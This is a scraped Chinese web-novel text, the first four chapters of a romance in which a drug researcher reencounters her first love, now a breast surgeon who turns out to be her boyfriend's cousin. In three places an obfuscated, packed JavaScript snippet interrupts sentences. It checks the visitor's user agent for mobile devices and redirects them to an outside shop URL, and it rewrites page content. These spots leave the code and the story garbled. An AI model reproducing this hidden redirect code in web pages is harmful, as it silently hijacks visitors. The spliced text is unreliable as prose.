《纯白》 1. 第 1 章 早上八点刚过,医院里已经是人山人海了。 要说北京人最多的地方,除了那些耳熟能详的景点,大概就是医院了。 据说这家医院七成以上的患者来自北京以外的其他地方,可能是千里迢迢求医问药的缘故,候诊室里的人大多风尘仆仆身形憔悴,所以谢一菲一点钟方向的那个女人就显得格外突出。 女人乌发红唇,衣着考究,香水味几乎盖过了医院的消毒水味。她神采奕奕红光满面,怎么看也不像是有病的样子。 就在谢一菲注意到她的这十分钟里,她足有六次拿出镜子整理妆容。 真是什么人都有,看个病而已,也这么讲究。 正在这时,机械的女声叫了下一号患者的名字。女人立刻收起化妆镜起身,捋了捋一头浓密的大波浪,精神抖擞地从谢一菲身边经过,进了旁边的诊室。 可能是她进去得太急,进去后并没有将门关好。 乳腺检查最涉及人隐私,等了片刻,见门依旧留了条缝隙,离门最近的谢一菲就想去帮个忙。 几乎是与此同时,门里传出一个低沉的男声:“叫什么名字?” 人声嘈杂,她以为自己听错了,可片刻后里面的男人又重复了一遍:“叫什么名字?” 谢一菲的手不由得停在了半空。 这个声音和这句问话都那么的熟悉。 或许只是相似吧,但一个久远到发黄的记忆片段就像被AI修复了似的,忽然就变得清晰起来。 那是很多年前的一个傍晚,在弥漫着桂花香的小巷子里,少年一个利索的摆尾把自行车横到了她的面前,温柔的晚风鼓动了他身上的白衬衫,夕阳将他的影子拉得又瘦又长。彼时他背光看着她,一双眼睛深邃明亮,是朦胧的光线里最特别的存在。 当时的他也是用这样无波无澜的声调问她:“你叫什么名字?” 时隔多年,她没想到自己还会记起这么多的细节,仅因这一句简简单单的问话。 是这十年过得太平淡,才让那年发生的一切依旧显得刻骨铭心,还是她其实一直没有释怀? 好一会儿,谢一菲才从怔忪中回神。透过门的缝隙,隐约可以看到诊室内办公桌的一角和微微晃动着的隔断帘,但看不到医生。 她抬眼看向墙上有着医生姓名的电子牌:白钰。 和她挂号单上坐诊专家的名字一样,都不是他。 谢一菲松了口气。 她已经很久没有想起他了,今天这是怎么了? . 叫号机叫出病人的姓名时,秦铮的眉心就不由得跳了一下。 坐在他旁边同他一起出诊的是他的研究生何婷婷,听到那个名字也是一脸的不可思议:“她怎么知道您今天出诊?” 这位“病患”实在有点特别,即便他们一天要看上百个号,也很难不记住她。 她第一次出现在秦铮的诊室时确实是怀疑自己得了乳腺疾病,但检查结果表示她只是有一点不算太严重的乳腺增生。 这样的小问题根本不需要治疗,可是接下来的两个月里,每逢秦铮出门诊,她就会来看病,且每一次都是花样百出,今天不知道又会搞出什么名堂。 随着女人进入诊室,诊室里立刻弥漫开一股让人很不舒服的香水味。 “叫什么名字?” 明知道她没病,但“流程”还是不得不走。 “张一冰。都多少次了,秦医生你怎么还没记住啊?” 何婷婷语气不善:“我们每天看那么多病人,哪能都记得住?” 秦铮直接进入下一步“流程”:“哪不舒服?” “都来找你看病了,还能有哪不舒服?” 嗔怪的口吻,娇滴滴的声音,一般男人听了恐怕骨头已经酥了。 秦铮始终面无表情:“我问什么您答什么,提高点效率。” “好的,那就别耽误时间了。”说着,女人开始解衣服扣子,“我胸上好像有一个肿块,你快给我摸摸。” 每次都这样,何婷婷还没见过这么不要脸的女人,偏偏对方身份是病患,她又不能发作,呕得要死!所以只能看着女人在这么大冷的天把自己脱得精光,最后上半身只留了一件款式“别致”的内衣,有多别致呢?是何婷婷这样的小姑娘看一眼都会脸红的程度。 何婷婷担忧地看了眼她老板,还好他老人家是见过大风大浪的,竟然一点反应都没有。 女人故意等了片刻,见秦铮无动于衷,又悻悻脱掉了内衣,但还不忘挑逗地掂了掂自己一侧的胸。 这算什么?这已经算是性骚扰了吧?! 何婷婷几乎要开骂了,但看到她老板那副心如止水的样子,她又决定忍一忍,毕竟在医院这种地方,更怕行差踏错的是他们医生。 大约半分钟后,手诊结束,秦铮去消毒洗手,足足三分钟了他还没洗完。 这一举动让刚才还替他委屈的何婷婷差点笑出声来,不愧是她老板,毒人于无形。 女人看出了他的嫌弃,表情讪讪的:“至于吗?” 何婷婷板起脸催促她:“别耽误时间了,快穿衣服吧。” 女人却还不死心:“秦医生,我刚发现我乳晕上长了个小痣,你看这个位置能点吗?” 还没完没了了! 何婷婷背过身去翻了个大大的白眼。 秦铮总算洗好了手,坐回电脑前打字:“最好不点,因为乳晕上有蒙氏结节,有些在哺乳期是可以分泌乳汁的,但是有些皮肤上的痣有恶性可能,这个要去皮肤科看一下。” “什么叫蒙氏结节呀?” 女人见秦铮看也不看她,只好慢吞吞穿好衣服。 “妊娠早期乳晕周围皮脂腺增生的棕色结节。”秦铮停下敲字的动作,“还有别的问题吗?” 这赶客的意味再明显不过了。 女人不满道:“你是不是太敷衍了?你这专家号400呢,就这么几分钟把我打发了?” 从刚才起就始终面无表情的秦铮闻言勾了勾唇角,露处一个意味不明的笑容:“明明是60,怎么是400?多花了这么多钱,需不需要我替您反应一下?” 女人也怕惹事,又开始撒娇:“还不是你的号太难挂了!” 秦铮敛起笑容:“其他医生的水平不比我低,下次挂别人的也是一样。” 说着,他吩咐何婷婷:“叫下一位吧。” 人终于离开了,但讨人厌的香水味还弥漫在这小小的空间里。 何婷婷起身去开窗,秦铮趁着这个空隙闭眼休息。 昨晚临时有个手术,回到家已经是后半夜了,休息不到两小时,又看了一上午的诊,铁打的人也会觉得疲惫。 脚步声由远及近,他以为是开窗回来的何婷婷就没有睁眼,直到何婷婷的声音从身后传来:“秦医生,患者来了。” 他睁开眼,眼前有一瞬间是黑的,于是重新闭上,对来人说了声“抱歉”。 再睁开眼时,他直接看向电脑,照例问:“叫什么名字?” 屏幕上的字逐渐清晰起来,身边这位过分安静的患者说出了她进来以后的第一句话:“谢一菲。” 谢一菲刚才不是有意听墙角,她只是想听听他的声音,而他每多说一句,她就更觉得久违和亲切。 她很想看看拥有这副嗓音的“白医生”究竟长什么样,这一刻,她看到了。 如果声音是巧合,那这副眉目呢? 是他吗? 是他吧。 她几乎可以描摹出他口罩下的轮廓——冷厉的线条,柔软的唇。而就是那寓意着为人凉薄的唇,却说出过无数让人脸红心跳的情话,让当年年少的她愤懑羞窘又心动不已。 最初刚到北京时,她也想过会不会再遇到他,可随着时间的推移,她渐渐相信,这座城市真的很大,要在这两千多万人里遇到一个旧人,并不比中彩票的概率高多少。 而就在她几乎不再抱有幻想的今天,重逢竟然来得这么猝不及防,但他似乎已经忘记了她。 在说出自己的名字时,她生怕错过什么,死死盯着那双眼,想看他有没有一丝一毫的意外。然而他连睫毛都没有颤抖一下,除了盯着电脑屏幕的时间略长,几乎没有一丁点的情绪波动。 何婷婷看着这仿佛静止一样的画面深感无奈。得,又一个被她老板帅呆了的女患者。 再看她老板,还没在患者的报道名单中找到对应的名字。 这是眼神多不好啊! 看不下去了,何婷婷用签字笔指了指电脑屏幕上的一处:“这个。” 秦铮点点头,转向谢一菲:“哪不舒服?” 谢一菲还以为那停顿的短短数秒是反常,事实证明是她想多了。 或许因为时间过去太久,加之他们当年在一起的时间也很短暂,短暂到在漫长的人生中几近疏忽一瞬,所以他早已忘记了她这个人和她的名字。 对上他平静甚至有点麻木的目光,她简单说明了自己出现在这里的原因。 她们学校每年三月会有一次教职工体检,她像往常一样做了检查。然后就在几天前,她忽然接到了体检中心的电话,说她有个乳腺结节需要高度重视,那边医生的建议是,她应该做进一步的检查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722849|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实,这个结节几年前就出现了,当时谢一菲也为此咨询过医生,得知只是小问题就没再管它。 但是这个电话让她意识到,情况或许发生了变化。 挂上电话,她重新找到体检报告关于乳腺B超的那一项检查结果。 之前只是匆匆一扫并没有当回事,这次再看才发现有个很重要的指标和去年并不一样了——上一次这个乳腺结节分类还是BI-RADS3类,而这一次却是4a。 因为专业的关系她对癌症的了解比普通人多一点,她知道这个指标的变化代表着这个结节目前的恶性概率已经提高到了2%到10%。 这个比例放在其他事情上或许算低的,但放在衡量肿瘤的恶性程度上,绝对说不上低。 她思前想后,决定换一家更权威的医院去检查一下,于是她就出现在了这里。 “这是我的B超检查结果。” 这一刻,她觉得他不记得她也好,就单纯的医患关系,她反而不会觉得尴尬和窘迫。 看完她的B超报告,秦铮说:“把上衣脱了。” 刚才在门外听里面人对话的时候,她就知道要有这么一关。 在多年前,两人什么亲密的事情都已经做过了,可是多年后的今天,他于她而言是个几乎陌生的男人。在一个非恋人关系的男人面前脱衣服,多少还是需要一些心理建设。 但她也知道专业的医生面前没有男女之分,过分的扭捏只会让人觉得她矫情。 她干净利索地脱掉了上衣。 也不知道是因为紧张还是空气太凉,当她暴露在这个诊室的那一刻,她不由得战栗起来。 他停下动作看她一眼,片刻后又继续…… 那双手还和她记忆中一样,修长且骨节分明,用力时有微微凸起的青筋,但大约是常年接触消毒水的缘故,他的皮肤比以前更苍白了。 他们之间只有不到半臂的距离。 她闻到他身上的消毒水味,还有似有若无的雪松香。 冷风透过窗子吹动桌上成筐的挂号单,是这个诊室里唯一的声响。 她越过他的肩膀去看诊室墙上的挂钟,秒针转过一圈,以往甚至捕捉不到的时间长度却在这一刻被无限拉长。 他终于收回手,重新回到电脑前开始敲敲打打。 她趁这空隙迅速整理好了衣服。片刻后,他把打印出来的单子递给她。 她低头看了看,只是简单的检查项目,完全看不出她的情况是好是坏。 她不确定地问:“会是恶性的吗?” “目前考虑是良性,但还需要进一步确认,可以先做个核磁。” “做了核磁就能确定了吗?” “也不能百分之百确定。”他又看了眼她的B超单,“你这个结节不算小了,而且纵横比也不太好,这也是B超给出4a的原因,考不考虑手术切除?” “切除了就没事了吗?”她问了个自己都觉得小白的问题。 好在他还算有耐心:“手术切除后,等病理结果出来,就知道有没有问题了。” 不得不承认,其实她来这里更多的是想让自己安心。三甲医院的医生见多识广,或许对别人不敢轻易下的结论更有把握。 可没想到结果还是一样,甚至听完他的话后她更慌乱了,因为要手术。 “如果不做手术呢?” “那就定期复查,每三个月一次。你可以再考虑一下,等做完核磁再说。” 临走前,谢一菲又想到了门外电子名牌上的名字。 明明在心里已经有了答案,但她还是回过了头,看向办公桌后的男人,他正不知跟身边的人交代着什么,对她的离开并不关心。 “我能问一下吗?”她开口,低声交谈的两人停了下来看向她。 她看着男人:“您是白医生吗?” 男人沉默片刻,简短吐出两个字:“不是。” “那为什么……” 她话没说完,他身边的女生已经替他说道:“分诊护士没和你说吗?今天秦医生替白医生出诊,两位医生都是副主任医师……” 秦医生。 她好像只听到了这三个字。 秦铮打断何婷婷:“白医生在外地临时有个会诊,所以这段时间由我来代替他出诊。如果你想找他看病,可以两个月以后再挂他的号。” 谢一菲点点头:“我明白了。” 等谢一菲离开后,何婷婷不解地问秦铮:“白医生要去那么久吗?不是就两周吗?” 秦铮:“那就是我听错了。” …… 2. 第 2 章 直到离开医院,谢一菲还没有从这突如其来的重逢中回过神来。 她记得她和秦铮初见的那一年,她大一他高三,他刚从盐城转学到了南京。也是在那一年,她弟谢东上了高中,恰巧和秦铮在一所中学。 那所中学出了名的乱,早听闻学校里有那么一个小团伙,专以霸凌学弟学妹为乐趣。 谢东个子小,看着又是好欺负的软性子,很快就成了那群人的新目标。 有一次他们把他堵在巷子口的时候,恰巧被刚从学校回来的谢一菲撞上。 谢一菲的奶奶出了名的重男轻女,对他们姐弟俩的态度截然不同。年少时的谢一菲经常因为这个迁怒于谢东,但谢东从不计较,还很黏她,时间长了,她表面上还是很嫌弃谢东,心里对他却是很维护的。所以这种时候,她说什么也不可能当没看见。 可是高中男生个个都人高马大的,谁也不会因她这个大一女学生的出现就有所收敛。 讲理无果,她尝试报警,可是手机刚掏出来,就被一个寸头男生抢了过去。 他们嘲笑她的手机是老古董,然后嬉皮笑脸地让他们姐弟拿钱去赎。 谢一菲哪见过这种阵仗,心里害怕之余又有点担心她弟以后少不了被这些人纠缠。 正当她不知道该怎么办的时候,刚才还嘻嘻哈哈的几人不约而同地安静了下来,好像突然被人按下了消音键。 谢一菲不明所以地循着几人视线回头看去,那一刻,糟心的画风忽然变得祥和起来。 暮色四合,一个穿着白衬衫的少年正骑着一辆公路赛,披着夕阳朝他们这个方向而来。他骑行的速度并不快,车轮滚过土路,碾起地上的落叶。 那是谢一菲第一次见到秦铮。 她很少见这个年纪的男生穿这种没有任何设计感的白衬衫。在她的审美认知里,那件衬衫绝对与年轻帅气无关,倒是板正和成熟的一种诠释。可是那一天,它穿在他的身上却莫名有种倜傥的少年感。 他在他们这群人的注视下缓缓靠近,她逐渐看清了他的脸。 那是一张轮廓分明的脸,深邃的眉眼,高挺的鼻,少年人特有的干净陡峭的下颌线,是看过一次就不会轻易忘记的好样貌。 在她看他时,他也似有所感地看了过来,他们的目光在空中有短暂的相触,但很快又分开。 谢一菲回过神来,想到自己此刻的处境,也就顾不上欣赏帅哥了。她下意识朝他的方向走了几步,试图引起他的注意,希望他接收到她的求救信号,即便他不能挺身而出,哪怕停下来问一句“这里发生了什么”也好。 然而他却在收回视线后再没多看他们一眼,毫无停顿地从他们身边骑了过去。 他一离开,几个混混明显松了口气,又嘻嘻哈哈起来。 谢一菲的一颗心也随着他的身影远去而沉到了底。 看来破财是免不了了。然而正当谢一菲打算掏钱的时候,余光中那个本该消失在小巷尽头的白衣身影又逐渐清晰了起来。 她不可置信地看着那少年去而复返,最后精准刹停在了他们姐弟和那几个混混之间。 那群混混显然也没想到他会回来。 不怀好意的笑声停了,一个个都像见了鬼一样看着少年。 少年朝着混混中的寸头男伸出手,声音清冷却掷地有声:“手机。” 原来他什么都看到了。 寸头男犹豫了一下,但末了还是把谢一菲的手机放在了他的手上。 “滚。” 丢下这个字,他再没多看他们一眼。 混混们虽然有点不情愿,但似乎很怕他,早没了刚才面对谢一菲姐弟时的嚣张气焰,一个个就像被放了气的气球一样,蔫头耷脑一哄而散。 短短一瞬间的工夫,巷子里就只剩下了他们三个人。 谢一菲迎着霞光看向少年,夕阳为他的身形镀上了一层淡金的光晕。他真的很高,坐在自行车车座上依旧比她高出不少,看她时低垂着眉眼,有种居高临下难以取悦的距离感。 他朝她摊开手,手掌中央躺着的是她那老式的翻盖手机。 之前被混混们取笑的时候她没觉得难堪,但那一刻她却情不自禁地红了脸。 她快速拿回了手机,拘谨地道谢。 他沉默了片刻,然后问她:“你叫什么名字?” 这是他对她说的第一句话,也是被谢东认定了他对她有意思的有力佐证。 后来事情的发展走向让她也渐渐认同了谢东的话,但当时的她是不信的。 从小到大,她长相一般,性格内向无趣,要说唯一的优点大概就是长了个大个。但也正因为此,让她总是显得傻傻的,一点没有这个年纪女生该有的娇憨玲珑。 所以对于太出众的男生,她从不会妄想什么,当身边女同学对着校草犯花痴的时候,她的心从来都是波澜不惊的。 她知道没有奢望就没有失望,她知道自己的路在哪,也打算按着这条路循规蹈矩地走下去。 可是,自那天以后,每当她回想起巷子里发生的一切,尤其是他问她名字的那一幕时,她又会忍不住心跳加快。 起初她不懂为什么,但后来她明白了——凡事总有意外,也包括该对什么样的人心动。 正在这时,一个电话打断了她的思绪。 来电人是她现在的男朋友秦一鸣。秦一鸣也是B大的老师,两人通过谢一菲的师母虞洁介绍认识,相处快两年了,关系还算稳定。 他问她周末打算干什么,她想起他姥姥下个月要过生日,但是礼物她还没准备。 “想去逛逛街,你有空吗?” “谢老师都这么说了,那我必须有。” 谢一菲笑:“那周末见。” “这么着急打发我啊?”对方像是听出她周遭环境嘈杂,问她,“你不在学校?” “嗯,刚去了趟医院。” “生病了?”秦一鸣立刻紧张起来。 “没有,体检复查。” 秦一鸣似是松了口气:“哦,没事吧?” “没什么事。” 谢一菲也不知道自己为什么要这么说,或许只是不想让别人跟着担心,也或许是她潜意识里觉得确实不会有什么事。 可是,只要她一闭上眼,脑子里就会浮现出那张B超照片,她似乎能感受到右乳里那个小东西的存在,即便明知道这只是她的错觉,但她无法控制自己,更无法不去想,那小小的一团里究竟包裹着什么,是虚惊一场,还是这世界突如其来的恶意。 …… 周六这天,谢一菲和秦一鸣去了附近的商业街。几家大型商场和全城最有名的乐器城都在这条街上。 路过一家卖架子鼓的店时,店门大敞着,有杂乱无序的鼓声从里面传出来,走近了看,店里几个十几岁的孩子正在学习打鼓。 谢一菲不由得停下了脚步,秦一鸣见她感兴趣,也跟着停了下来。 “也不知道这些家长怎么想的,让女孩子来学打鼓。” 经秦一鸣这么一提醒,谢一菲也注意到店内学打鼓的竟然都是女孩子。 “有什么不对吗?” 秦一鸣:“女孩子学学钢琴或者古筝多好,培养气质又磨炼心性,文文静静的才有个女孩子样。但你看这些打鼓的,哪个不是摇头晃脑痞里痞气的?” 谢一菲看向窗内的孩子们,她没觉得她们痞里痞气,反而觉得她们自信又快乐。 秦一鸣:“但如果是儿子,学学打鼓也不错,以后不愁找不到女朋友。对了,我跟你说过没,我也学过打鼓,但我妈不支持,后来就不打了。” 谢一菲有点意外:“你会打鼓?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722850|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦一鸣忽然来了兴致:“走,我给你打一段去!” 导购见有客人来,立刻迎了过来。他们绕过授课区,去看摆放在隔壁的几套用于出售的架子鼓。 秦一鸣边看边给谢一菲介绍哪个是底鼓,哪个是军鼓,还有嗵鼓和吊镲。 谢一菲没想到他还真懂一点。 导购见他懂行,更不遗余力地推销产品,但当秦一鸣问她可不可以试一试的时候,她却很为难:“这会儿时间不太巧,要不您稍等一会儿,等隔壁下课了再给您试?” 秦一鸣半嗔怪半开玩笑地说:“不都说顾客是上帝吗?让上帝等着你们下课,你们这生意能做好吗?” 导购不好意思地笑了笑,但终于还是被他说动了:“那您就试一下吧,但是不能打太久,免得影响隔壁。” “放心。” 谢一菲很不好意思,因为她知道秦一鸣并不是真的想买。 这边鼓声一响,隔壁授课的老师果然不得不停下讲到一半的课,那几个学生也都循声看了过来。 更多人的关注没有让秦一鸣怯场,他大大方方地在众人的注视下磕磕绊绊完成了一段入门级别的演奏。 结束后,他看向谢一菲。 谢一菲顿了顿,夸赞道:“打得不错。” 秦一鸣像是一眼看穿了她的想法,无所谓地耸耸肩说:“不用这么勉强,我知道不怎么样。” 谢一菲莞尔。 秦一鸣无奈道:“主要是好久不练了。” 导购见缝插针地继续推销:“我建议您就买这套吧,我们店里正在搞活动,还可以附赠您一些视频课,您完全可以在家自学。” 秦一鸣问:“这套多少钱?” 导购报了个数。 秦一鸣:“搞活动还这么贵?” “您可能没去别处看过吧?同样品牌的产品在我们店肯定更优惠,我们家这个价格绝对是全北京最便宜的了。” 秦一鸣不为所动:“我们再看看吧。” 导购见生意没谈成有点着急:“要不再给您优惠一点,打个95折怎么样?这是我的最大权限了。” 谢一菲心知就算是打五折六折秦一鸣也绝不会买,但却装作不知道的样子问导购:“什么时候可以送货?” 导购闻言精神一振:“四环以内今晚就能送到。” 谢一菲颔首:“好,扫码吧。” 秦一鸣有点蒙:“怎么说买就买?送去哪?” “我家。” “不是……你买它干嘛?” “你不是喜欢吗?我知道放你那不方便,那就放在我那,等你去的时候就可以练了。” 听她说是为了他,秦一鸣明显很高兴,抢着要付钱。可这一次,谢一菲却格外坚持由她来买。 填好了谢一菲的公寓地址,两人离开了乐器城。 秦一鸣:“没看出来你还是个冲动派,人家一忽悠,大半个月工资就没了。” 谢一菲:“有的事值得投资,比如兴趣爱好。” 秦一鸣想说他也没那么喜欢打鼓,但又怕扫她的兴。 他抬手看了眼表:“饿了吧?想吃什么?” 两人正说着话,谢一菲忽然注意到了路边停着的黑色SUV上下来一人。男人穿着一件黑色长款大衣,他本来就个子很高,此时更显得身姿挺拔。大街上人潮如虹,但他却偏偏有着能被人一眼注意到的魔力。 他锁了车转过身来,恰巧对上了谢一菲的视线。 缘分这东西真是奇妙,过去这么多年她都没有遇到过他,但是却在这短短的一周内遇到了两次。 她下意识想装没看见,然而身边的秦一鸣却在她做出反应之前叫出了秦铮的名字。 谢一菲怔愣在了原地,她没想到世界这么小,秦一鸣和秦铮竟然认识,而且看样子还挺熟。 3. 第 3 章 秦铮看到秦一鸣,笑着走过来:“这么巧。” “是啊,难得能在这里遇到你这个大忙人。” 说话间,秦铮的视线落在了谢一菲的身上。 秦一鸣心领神会地拉过她:“对了,介绍一下,这是我女朋友谢一菲,也是我们学校的老师。这是我堂弟秦铮,B大附属医院最年轻的副主任医师。” 原来他们不仅认识,竟然还是堂兄弟。直到这时候,谢一菲才后知后觉地意识到,他们两个人都姓秦,而且祖籍都在江苏。 感觉到有人扯她衣袖,她才注意到伸到她面前的那只手。 谢一菲恍然回神,蜻蜓点水地回握了一下秦铮的手。一触即分而已,她却像是被烫了一下,那灼热的感觉久久挥散不去。她悄悄蜷起手指,不想被身边两个男人看出端倪。 忽然听到秦铮笑着问她:“我和谢老师之前见过吗?” “有吗?”谢一菲的心不由自主地提了起来。 秦铮:“谢老师和我一位大学校友有点像。” 秦一鸣哈哈大笑:“那你肯定搞错了,一菲是我们学校毕业的,博士毕业直接留校了,哪有机会跟你当校友。” 谢一菲松了口气。 她去看病时,他看着她的名字都想不起来她是谁,这会儿又怎么会想起来呢?一定是他和秦一鸣的关系给了她太大的冲击。 秦铮似是有点遗憾:“看来是我记错了。” 秦一鸣:“不过有一点说起来确实挺巧的,你是学医的,一菲是学药的,你是乳腺外科医生,一菲现在研发的那个药就是针对乳腺癌的,你俩这研究方向算是殊途同归了吧?” “是吗?”看得出秦铮这回是真的有点惊讶,“那确实很巧。” “我们正在和一家药企联合研发一款针对乳腺癌的靶向药,目前已经完成了一期临床试验,正在筹备二期实验。”说到工作,谢一菲自在了不少。 “有机会得好好交流一下。” 谢一菲本以为这只是句客套话,谁知他接着就问她方不方便加个微信。 谢一菲稍一犹豫,秦铮就问:“不方便?” 话都说到这份上了,她再拒绝就显得有点奇怪。 “没有。”谢一菲拿出手机,亮出微信二维码。 秦一鸣也笑着附和:“这有什么不方便的。” 扫完了码,秦铮说:“那好,改天再向谢老师请教,我约的朋友到了,先走了。” 几人循着秦铮的视线看过去,不远处一个个子高挑的长发女生正朝他们这个方向走来。 秦一鸣立刻会意地笑了:“快去吧,别让美女等急了。” 目送走了秦铮他们,谢一菲身体里紧绷的那根弦才渐渐放松下来,可是心里依旧觉得很不真实。这究竟是什么样的孽缘! 她不由得重新审视身边的秦一鸣。单纯看他和秦铮,谁也不会想到两人是兄弟,可是知道了他们的关系后再把两个人放在一起看,她就发现秦一鸣的身上确实有几分秦铮的影子,难怪她第一次见秦一鸣的时候就觉得他有一种似曾相识的感觉。 如果她最后真的能和秦一鸣走到一起,秦铮就要成为她的亲戚了。她不敢想前男友变堂弟是种什么体验,也不敢想如果他想起他们那段过往又会不会生出什么事端来。 “发什么呆呢?” “没什么。”谢一菲状似随意地问,“以前怎么没听说你在北京还有个堂弟?” 谢一菲记得秦一鸣说过,他爸祖籍在江苏,是参加工作以后才来的北京,所以他家在北京的亲戚都是他妈那边的。 秦一鸣说:“虽然是我堂弟,但他跟我们家不亲,很少走动,我爸去世后就更没什么联系了。” “为什么?” 秦一鸣想了想:“其实也不是只跟我家不来往,他从小就有个性,跟我们老秦家所有人都不亲近。” 谢一菲了然点点头。 “那他大学是医学专业吗?” 秦一鸣失笑:“问的什么傻话?不是医学专业还能是什么专业?当医生跟当律师搞金融那些可不一样,我还没听说哪个医生是‘半路出家’的,最多科室之间跳一跳吧。” “也是。” 可她明明记得他当初选的不是这个专业。 秦一鸣忽然说:“我怎么觉得你自从见了我堂弟就魂不守舍了?” 谢一菲心虚:“我是有点意外你还有这么一门亲戚。” “说起来啊,我这个堂弟什么都好,就是有个毛病。” “什么毛病?” 秦一鸣也不知道是有意还是无意地说:“刚才那女生看见了吧?和我上次在他身边见着的就不是一个。听说他们院里关于他的风流事迹也很多。” 看来时间真能将一切变得面目全非。 谢一菲记得他们刚认识那会儿,光是他们那个小区就有很多女孩子喜欢他,据说学校里就更多了,但他对谁都很冷淡,那时候她以为,要走进他心里应该是件很难的事。 秦一鸣:“还有,他刚才说的那个和你长得像的大学校友搞不好就是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722851|144886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的某一任女朋友。” 谢一菲:“他可能就是随口一说。” 秦一鸣想了想:“也是,如果是女朋友,哪怕是前女友,也不会认不出来。” 谢一菲苦笑,他还真没认出来。 正在这时,她感到口袋里的手机振动了几下,拿出来看了一眼,是刚才她提到的那个创新药研发项目的合作方,二期试验的合作申请再一次被一家三甲医院拒绝了。 现在做研发的大环境不好,这也是意料之中的事,但却很难不失望。 谢一菲回了个“辛苦了”,除此之外她也不知道还能说些什么。 退出聊天界面时,她忽然注意到多了一条好友申请,点进去是一个黑漆漆的头像,验证消息只有再简单不过的两个字:【秦铮。】 谢一菲犹豫了一下,决定装没看见。 过了片刻,秦一鸣的手机忽然响了。他看了眼来电,笑着接起电话,对方不知道说了什么,他抬眼看向谢一菲,脸上的笑容随之收敛了几分。 谢一菲的心里莫名有种不太好的预感,等他挂上电话,她问他什么事。 秦一鸣不冷不热地说:“我堂弟说你没通过他好友申请,让我问问你是不是没收到。” 谢一菲的心跳忽然就乱了一拍,她连忙用看手机的动作来掩饰心虚。 “哦,我刚才没注意。” “真是的,怎么几分钟都等不了……”话说一半,秦一鸣忽然话锋一转,“他那人对谁都挺冷的,怎么今天对你这么不一样?” “有吗?”谢一菲想了一下,“他是不是对我手上那个项目比较感兴趣?” 秦一鸣略一思索,点点头:“估计是。” 谢一菲松了口气。 不过电话都打到秦一鸣那里了,她再不情愿也还是点了“通过”。 成为好友后,谢一菲欲盖弥彰地解释了一句:【不好意思,刚看到。】 她本以为他们应该像刚认识的人那样简单打个招呼就行了,谁知秦铮忽然问她:【核磁安排在什么时候?】 谢一菲怔了怔。坏消息是他早就认出了她,好消息是他只认出了作为他患者的她。 看来秦一鸣对秦铮还是有一定了解的,他今天这么反常这么主动果然事出有因。 她如实回复了一个时间过去,想了想又补充了一句:【抱歉,刚才我以为你没认出我。】 秦铮:【不用担心,可以理解。】 他以为她在担心什么?他又理解了什么?这话怎么看都怪怪的。 4. 第 4 章 吃饭时,秦一鸣接到了学校的电话,不得不回去加班。 下午的时间突然被压缩,谢一菲只能匆匆选定了一款按摩枕。见她要买按摩枕,秦一鸣才搞清楚她是在准备他姥姥的生日礼物。 他的表情有一瞬的不自然,然后非常坚持地抢着付了钱。 谢一菲没有多想,把这理解为他不好意思让她一而再再而三的破费。 买完东西,秦一鸣似乎有话要说,但学校催他回去的电话又打了过来,什么话也只能等他忙完再说了。 谢一菲回了在校外租的小公寓。 小区是上世纪八十年代的房子,很旧了,所以价格也便宜,是谢一菲目前的收入能负担得起的离B大最近的小区。 好在这里交通还算方便,而且有两个房间,大的是她的卧室,小一点的那间之前被她当做杂物间用,堆放了很多书和不常用到的衣物。不过在上午付钱的那一刻,她就想好了,她要把这个小房间改造成她的鼓房。 收拾了半天,总算把空间腾了出来,鼓也恰巧在这个时候送了过来。 组装完,她爱惜地摸了摸鼓面。她以为太久不打鼓,她或许已经忘记了,但拿起鼓棒的那一刻,她相信,肌肉是真的有记忆的。 激昂的鼓声打破了傍晚的宁静,惊飞了停在窗边的麻雀,却也像是一串密码,打开了锁住她的那把锁。 她想到那一年街边的乐器店、空气里的桂花香、还有年轻的自己,以及年少时的喜欢和热爱。 师弟师妹总说她的情绪稳定得不像这个年纪的人,可是只要心脏在跳动,谁又能真的不喜不悲呢?只是有人喜欢分享,有人擅长伪装。一般情况她是后者,但此刻她却特别需要分享。 她给她的“新伙伴”拍了几张照片,最后挑了张角度和光线最好的发了条朋友圈并配文:【家里的新成员。】 朋友圈刚发没多久,就有人在下面留言—— 秦一鸣:【我快忙完了,一会儿去看看新成员。】 谢一菲还没来得及回复,手机忽然振动了两下,她以为还是秦一鸣,退出朋友圈一看,发微信来的是王林。 【新装备都买了,看来我上次提的事你已经考虑好了。】 王林是谢一菲读大学时在南京音乐节上认识的朋友。 几年前,王林组建了一支叫“纯白”的乐队。她眼光独到,对音乐也有自己的见解,很快,这支乐队渐渐因为独特的风格和过硬的实力,在圈子内有了名气。 大约半年多以前,乐队的鼓手忽然回了老家,王林就盯上了谢一菲。 